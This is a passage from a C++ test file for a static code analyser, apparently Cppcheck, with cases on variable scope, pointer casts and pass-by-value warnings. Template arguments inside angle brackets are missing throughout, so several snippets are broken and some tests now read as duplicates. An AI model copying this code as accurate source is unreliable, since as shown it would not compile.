src);\\n\"\n \"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" g(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope36() {\n // #12158\n check(\"void f( uint32_t value ) {\\n\"\n \" uint32_t i = 0U;\\n\"\n \" if ( value > 100U ) { }\\n\"\n \" else if( value > 50U ) { }\\n\"\n \" else{\\n\"\n \" for( i = 0U; i < 5U; i++ ) {}\\n\"\n \" }\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope37() {\n // #12158\n check(\"void f( uint32_t value ) {\\n\"\n \" uint32_t i = 0U;\\n\"\n \" if ( value > 100U ) { }\\n\"\n \" else {\\n\"\n \" if( value > 50U ) { }\\n\"\n \" else{\\n\"\n \" for( i = 0U; i < 5U; i++ ) {}\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope38() {\n checkP(\"bool dostuff();\\n\" // #12519\n \"#define DOSTUFF(c) if (c < 5) { if (c) b = dostuff(); }\\n\"\n \"#define DOSTUFFEX(c) { bool b = false; DOSTUFF(c); }\\n\"\n \"void f(int a) {\\n\"\n \" DOSTUFFEX(a);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope39() {\n check(\"struct S {\\n\" // #12405\n \" void f(const std::string&) const;\\n\"\n \" const int* g(std::string&) const;\\n\"\n \"};\\n\"\n \"void h(int);\\n\"\n \"void S::f(const std::string& s) const {\\n\"\n \" std::string n = s;\\n\"\n \" const int* a = g(n);\\n\"\n \" if (n == \\\"abc\\\") {\\n\"\n \" h(a[0]);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope40() {\n checkP(\"#define NUM (-999.9)\\n\" // #8862\n \"double f(int i) {\\n\"\n \" double a = NUM;\\n\"\n \" double b = -NUM;\\n\"\n \" double c = -1.0 * NUM;\\n\"\n \" if (i == 1) {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \" if (i == 2) {\\n\"\n \" return b;\\n\"\n \" }\\n\"\n \" if (i == 3) {\\n\"\n \" return c;\\n\"\n \" }\\n\"\n \" return 0.0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) The scope of the variable 'a' can be reduced. [variableScope]\\n\"\n \"[test.cpp:4:12]: (style) The scope of the variable 'b' can be reduced. [variableScope]\\n\"\n \"[test.cpp:5:12]: (style) The scope of the variable 'c' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"struct S { int a; };\\n\" // #12618\n \"int f(const S* s, int i) {\\n\"\n \" int x = s->a;\\n\"\n \" const int b[] = { 1, 2, 3 };\\n\"\n \" int y = b[1];\\n\"\n \" if (i)\\n\"\n \" return x + y;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\"\n \"[test.cpp:5:9]: (style) The scope of the variable 'y' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope41() { // #11845\n check(\"void get_errmsg(const char **msg, char *buf, size_t bufsiz, int err);\\n\"\n \"void test(int err)\\n\"\n \"{\\n\"\n \" const char *msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" get_errmsg(&msg, buf, sizeof(buf), err);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void get_errmsg(char *buf, size_t bufsiz, int err);\\n\"\n \"void test(int err)\\n\"\n \"{\\n\"\n \" const char *msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" get_errmsg(buf, sizeof(buf), err);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope42() {\n check(\"void f(const char **, char *);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(&msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char *, char *);\\n\"\n \"void g(int e) {\\n\"\n \" char msg [42] = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const char *, char *);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int **, char *);\\n\"\n \"void g(int e) {\\n\"\n \" int *msg = calloc(0, sizeof(*msg));\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(&msg, buf);\\n\"\n \" printf(\\\"result: %d\\\\n\\\", *msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(const char *&, const char *&);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char *buf = malloc(42);\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %d\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(const char* format, ...);\\n\"\n \"void f(bool b) {\\n\"\n \" const char* s = \\\"abc\\\";\\n\"\n \" if (b)\\n\"\n \" g(\\\"%d %s\\\", 1, s);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope43() {\n check(\"struct S { int a, b; };\\n\" // #13838\n \"int f(S s) {\\n\"\n \" auto& [x, y] = s;\\n\"\n \" if (x < 5) {\\n\"\n \" return y;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a; };\\n\"\n \"int f(S s) {\\n\"\n \" auto& [x] = s;\\n\"\n \" if (y) {\\n\"\n \" return x;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n#define checkOldStylePointerCast(...) checkOldStylePointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkOldStylePointerCast_(const char* file, int line, const char (&code)[size], Standards::cppstd_t std = Standards::CPPLatest) {\n\n const Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::style).cpp(std).build();\n\n // Tokenize..\n SimpleTokenizer tokenizerCpp(settings, *this);\n ASSERT_LOC(tokenizerCpp.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizerCpp, &settings, this);\n checkOtherCpp.warningOldStylePointerCast();\n checkOtherCpp.warningDangerousTypeCast();\n }\n\n void oldStylePointerCast() {\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Derived* derived)\\n\"\n \"{\\n\"\n \" Base * b = (Base *) derived;\\n\" // <- cast from derived to base is safe => cstyleCast\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) ( new Base() );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) new Base();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (Base *) new short[10];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (volatile Base *) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (volatile Base * const) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const volatile Base *) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const volatile Base * const) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) ( new Derived() );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) new Derived();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) new short[10];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class B;\\n\"\n \"class A\\n\"\n \"{\\n\"\n \" virtual void abc(B *) const = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class B;\\n\"\n \"class A\\n\"\n \"{\\n\"\n \" virtual void abc(const B *) const = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3630\n checkOldStylePointerCast(\"class SomeType{};\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)7) {}\\n\" // <- intToPointerCast\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType{};\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)0x7000) {}\\n\" // <- it's common in embedded code to cast address\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType;\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)var) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType;\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)0) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5560\n checkOldStylePointerCast(\"class C;\\n\"\n \"\\n\"\n \"class B\\n\"\n \"{ virtual G* createGui(S*, C*) const = 0; };\\n\"\n \"\\n\"\n \"class MS : public M\\n\"\n \"{ virtual void addController(C*) override {} };\", Standards::CPP03);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6164\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void testCC() {\\n\"\n \" std::vector v;\\n\"\n \" v.push_back((Base*)new Derived);\\n\"\n \"}\");\n // FIXME write a dangerousTypeCast warning instead\n ASSERT_EQUALS(\"[test.cpp:5:15]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #7709\n checkOldStylePointerCast(\"typedef struct S S;\\n\"\n \"typedef struct S SS;\\n\"\n \"typedef class C C;\\n\"\n \"typedef long LONG;\\n\"\n \"typedef long* LONGP;\\n\"\n \"struct T {};\\n\"\n \"typedef struct T TT;\\n\"\n \"typedef struct T2 {} TT2;\\n\"\n \"void f(int* i) {\\n\"\n \" S* s = (S*)i;\\n\"\n \" SS* ss = (SS*)i;\\n\"\n \" struct S2* s2 = (struct S2*)i;\\n\"\n \" C* c = (C*)i;\\n\"\n \" class C2* c2 = (class C2*)i;\\n\"\n \" long* l = (long*)i;\\n\"\n \" LONG* l2 = (LONG*)i;\\n\"\n \" LONGP l3 = (LONGP)i;\\n\"\n \" TT* tt = (TT*)i;\\n\"\n \" TT2* tt2 = (TT2*)i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:11:14]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:12:21]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:13:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:14:20]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:15:15]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:16:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:17:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:18:14]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:19:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\",\n errout_str());\n\n // #8649\n checkOldStylePointerCast(\"struct S {};\\n\"\n \"void g(S*& s);\\n\"\n \"void f(uintptr_t i) {\\n\"\n \" g((S*&)i);\\n\"\n \" S*& r = (S*&)i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:5:13]: (style) C-style pointer casting [cstyleCast]\\n\",\n errout_str());\n\n checkOldStylePointerCast(\"struct S {};\\n\"\n \"void g(S*& s);\\n\"\n \"void f(uint8_t i) {\\n\"\n \" g((S*&)i);\\n\"\n \" S*& r = (S*&)i;\\n\"\n \"}\\n\");\n // TODO: these conversions are dangerous, but it's a different issue not covered by cstyleCast. A separate checker can be added which is executed for both C and C++ code.\n // clang says: 1.cpp:5:18: warning: cast to 'unsigned char *' from smaller integer type 'uint8_t' (aka 'unsigned char') [-Wint-to-pointer-cast]\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:5:13]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #10823\n checkOldStylePointerCast(\"void f(void* p) {\\n\"\n \" auto h = reinterpret_cast(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5210\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void f(Base** b1, Base*** b2) {\\n\"\n \" Derived** p1 = (Derived**)b1;\\n\"\n \" Derived*** p2 = (Derived***)b2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:5:21]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\",\n errout_str());\n\n // #12446\n checkOldStylePointerCast(\"namespace N { struct S {}; }\\n\"\n \"union U {\\n\"\n \" int i;\\n\"\n \" char c[4];\\n\"\n \"};\\n\"\n \"void f(void* p) {\\n\"\n \" auto ps = (N::S*)p;\\n\"\n \" auto pu = (union U*)p;\\n\"\n \" auto pv = (std::vector*)(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:15]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:8:15]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:9:15]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #12447\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void f(const Base& base) {\\n\"\n \" d = (const Derived&)base;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n // #11430\n checkOldStylePointerCast(\"struct B {\\n\"\n \" float* data() const;\\n\"\n \"};\\n\"\n \"namespace N {\\n\"\n \" bool f(float* v);\\n\"\n \"}\\n\"\n \"bool g(B& b) {\\n\"\n \" using float_ptr = float*;\\n\"\n \" return N::f(float_ptr(b.data()));\\n\" // <- the cast is safe\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:17]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n }\n\n#define checkIntToPointerCast(...) checkIntToPointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkIntToPointerCast_(const char* file, int line, const char (&code)[size]) {\n\n const Settings settings = settingsBuilder().severity(Severity::portability).build();\n\n // Tokenize..\n SimpleTokenizer tokenizerCpp(settings, *this);\n ASSERT_LOC(tokenizerCpp.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizerCpp, &settings, this);\n checkOtherCpp.warningIntToPointerCast();\n }\n\n void intToPointerCast() {\n // #3630\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)7;\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (portability) Casting non-zero decimal integer literal to pointer. [intToPointerCast]\\n\", errout_str());\n\n checkIntToPointerCast(\"void* ptr = (void*)7;\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (portability) Casting non-zero decimal integer literal to pointer. [intToPointerCast]\\n\", errout_str());\n\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)0x7000;\"); // <- it's common in embedded code to cast address\n ASSERT_EQUALS(\"\", errout_str());\n\n checkIntToPointerCast(\"struct S { int i; };\\n\" // #13886, don't crash\n \"int f() { return sizeof(((struct S*)0)->i); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkInvalidPointerCast(...) checkInvalidPointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkInvalidPointerCast_(const char* file, int line, const char (&code)[size], bool portability = true, bool inconclusive = false) {\n /*const*/ Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::portability, portability).certainty(Certainty::inconclusive, inconclusive).build();\n settings.platform.defaultSign = 's';\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizer, &settings, this);\n checkOtherCpp.invalidPointerCast();\n }\n\n\n void invalidPointerCast() {\n checkInvalidPointerCast(\"void test() {\\n\"\n \" float *f = new float[10];\\n\"\n \" delete [] (double*)f;\\n\"\n \" delete [] (long double const*)(new float[10]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (portability) Casting between float * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:4:15]: (portability) Casting between float * and const long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(const float* f) {\\n\"\n \" double *d = (double*)f;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (portability) Casting between const float * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(double* d1) {\\n\"\n \" long double *ld = (long double*)d1;\\n\"\n \" double *d2 = (double*)ld;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (portability) Casting between double * and long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:3:18]: (portability) Casting between long double * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"char* test(int* i) {\\n\"\n \" long double *d = (long double*)(i);\\n\"\n \" double *d = (double*)(i);\\n\"\n \" float *f = reinterpret_cast(i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (portability) Casting between signed int * and long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:3:17]: (portability) Casting between signed int * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:4:16]: (portability) Casting between signed int * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"float* test(unsigned int* i) {\\n\"\n \" return (float*)i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (portability) Casting between unsigned int * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"float* test(unsigned int* i) {\\n\"\n \" return (float*)i[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"float* test(double& d) {\\n\"\n \" return (float*)&d;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (portability) Casting between double * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(float* data) {\\n\"\n \" f.write((char*)data,sizeof(float));\\n\"\n \"}\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"void test(float* data) {\\n\"\n \" f.write((char*)data,sizeof(float));\\n\"\n \"}\", true, true); // #3639\n ASSERT_EQUALS(\"[test.cpp:2:13]: (portability, inconclusive) Casting from float * to signed char * is not portable due to different binary data representations on different platforms. [invalidPointerCast]\\n\", errout_str());\n\n\n checkInvalidPointerCast(\"long long* test(float* f) {\\n\"\n \" return (long long*)f;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"long long* test(float* f, char* c) {\\n\"\n \" foo((long long*)f);\\n\"\n \" return reinterpret_cast(c);\\n\"\n \"}\", true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (portability) Casting from float * to signed long long * is not portable due to different binary data representations on different platforms. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"Q_DECLARE_METATYPE(int*)\"); // #4135 - don't crash\n }\n\n\n void passedByValue() {\n check(\"void f(const std::string str) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::unique_ptr ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::shared_ptr ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::function ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n check(\"void f(const std::pair x) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::pair x) {}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n check(\"void f(const std::string::size_type x) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo;\\nvoid f(const Foo foo) {}\"); // Unknown class\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance, inconclusive) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { std::vector v; };\\nvoid f(const Foo foo) {}\"); // Large class (STL member)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { int i; };\\nvoid f(const Foo foo) {}\"); // Small class\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo { int i[6]; };\\nvoid f(const Foo foo) {}\"); // Large class (array)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { std::string* s; };\\nvoid f(const Foo foo) {}\"); // Small class (pointer)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo { static std::string s; };\\nvoid f(const Foo foo) {}\"); // Small class (static member)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X { std::string s; }; class Foo : X { };\\nvoid f(const Foo foo) {}\"); // Large class (inherited)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X { std::string s; }; class Foo { X x; };\\nvoid f(const Foo foo) {}\"); // Large class (inherited)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::string &str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // The idiomatic way of passing a std::string_view is by value\n check(\"void f(const std::string_view str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string_view str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::string_view &str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:31]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::vector v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:39]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::vector::size_type s) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector &v) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::map &v) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:48]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n 